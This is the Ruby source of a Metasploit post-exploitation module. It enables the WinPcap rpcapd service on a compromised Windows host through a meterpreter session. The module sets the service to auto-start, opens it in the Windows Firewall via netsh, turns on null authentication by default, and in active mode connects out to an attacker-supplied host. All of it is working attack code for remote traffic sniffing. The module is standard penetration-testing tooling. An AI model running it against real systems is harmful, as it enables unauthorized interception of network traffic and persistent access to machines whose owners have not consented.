##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry
	include Msf::Post::Windows::WindowsServices
	include Msf::Post::Windows::Priv
	include Msf::Post::Common
	include Msf::Post::File

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Enable Remote Packet Capture Service',
			'Description'   => %q{
					This module enables the Remote Packet Capture System (rpcapd service)
				included in the default installation of Winpcap. The module allows you to set up
				the service in passive or active mode (useful if the client is behind a firewall).
				If authentication is enabled you need a local user account to capture traffic.
				PORT will be used depending of the mode configured.},
			'License'       => BSD_LICENSE,
			'Author'        => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))

		register_options(
			[
				OptBool.new('NULLAUTH', [ true, 'Enable Null Authentication.', true]),
				OptBool.new('ACTIVE',   [ true, 'Enable rpcapd in active mode (passive by default).', false]),
				OptAddress.new('RHOST',	 [ false, 'Remote host to connect (set in active mode only).']),
				OptInt.new('PORT',    [ true,  'Local/Remote port to capture traffic.',2002])
			], self.class)
	end

	def run
		if is_admin?
			serv = service_info("rpcapd")
			print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")

			if serv['Name'] !~ /remote/i
				print_error("This machine doesn't seem to have the rpcapd service")
			else
				print_status("Rpcap service found: #{serv['Name']}")
				reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
				prog=expand_path("%ProgramFiles%") << "\\winpcap\\rpcapd.exe"
				if reg != 2
					print_status("Setting rpcapd as 'auto' service")
					service_change_startup("rpcapd","auto")
				end
				if datastore['ACTIVE']==true
					print_error("RHOST is not set ")  if datastore['RHOST']==nil
					p = prog << " -d -a #{datastore['RHOST']},#{datastore['PORT']} -v "
					print_status("Installing rpcap in ACTIVE mode (remote port: #{datastore['PORT']})")
				else
					fw_enable(prog)
					print_status("Installing rpcap in PASSIVE mode (local port: #{datastore['PORT']}) ")
					p = prog << " -d -p #{datastore['PORT']} "
				end
				if datastore['NULLAUTH']==true
					p<< "-n"
				end
				run_rpcapd(p)
			end
		else
			print_error("You don't have enough privileges. Try getsystem.")
		end
	end

	def run_rpcapd(p)
		begin
			cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30)
			result=service_start("rpcapd")
			case result
				when 0
					print_good("Rpcapd started successfully: #{p}")
				when 1
					print_status("Rpcapd is already running. Restarting service ...")
					if service_stop("rpcapd") and service_start("rpcapd")
						print_good("Service restarted successfully: #{p}")
					else
						print_error("There was an error restarting rpcapd.exe. Try to run it again")
					end
			end
		rescue::Exception => e
			print_status("The following Error was encountered: #{e.class} #{e}")
		end
	end

	def fw_enable(prog)
		print_status ("Enabling rpcapd.exe in Windows Firewall")
		begin
			if file_exist?(prog)
				cmd_exec("netsh","firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ",30)
			else
				print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")
			end
		rescue::Exception => e
			print_status("The following Error was encountered: #{e.class} #{e}")
		end
	end
end